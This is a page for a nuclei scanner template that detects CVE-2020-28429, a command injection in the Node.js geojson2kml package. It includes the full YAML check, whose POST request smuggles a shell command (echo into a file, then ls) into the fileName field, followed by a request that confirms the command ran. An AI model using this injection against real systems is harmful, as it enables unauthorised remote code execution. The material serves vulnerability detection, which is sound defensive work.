geojson2kml - Command Injection

criticalseverity

9.8CVSS score

63.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Detects command injection vulnerability by checking if `hacked.txt` is created and contains the expected content.

Impact

Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, privilege escalation

Fix

Do not use geojson2kml. There is no fixed version for geojson2kml.

How to confirm it

Send: POST /convert ; GET /file/{{filename}}.txt
Positive when: contains in body_2 "{{randstr}}" AND contains in header_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-28429 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-28429

info:
  name: geojson2kml - Command Injection
  author: eeche,chae1xx1os,persona-twotwo,soonghee2
  severity: critical
  description: |
    Detects command injection vulnerability by checking if `hacked.txt` is created and contains the expected content.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, privilege escalation
  remediation: |
    Do not use geojson2kml. There is no fixed version for geojson2kml.
  reference:
    - https://snyk.io/vuln/SNYK-JS-GEOJSON2KML-1050412
    - https://github.com/advisories/GHSA-w83x-fp72-p9qc
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28429
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-28429
    cwe-id: CWE-78
    epss-score: 0.63305
    epss-percentile: 0.99213
    cpe: cpe:2.3:a:geojson2kml_project:geojson2kml:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: geojson2kml_project
    product: geojson2kml
    framework: node.js
  tags: cve,cve2020,rce,geojson2kml,file-upload,intrusive,vuln

variables:
  filename: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /convert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "fileName": "& echo \"{{randstr}}\" > {{filename}}.txt && ls",
          "geoJsonData": {
            "type": "FeatureCollection",
            "features": [
              {
                "type": "Feature",
                "geometry": {
                  "type": "Point",
                  "coordinates": [102.0, 0.5]
                },
                "properties": {
                  "prop0": "value0"
                }
              }
            ]
          }
        }

      - |
        GET /file/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{randstr}}"

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from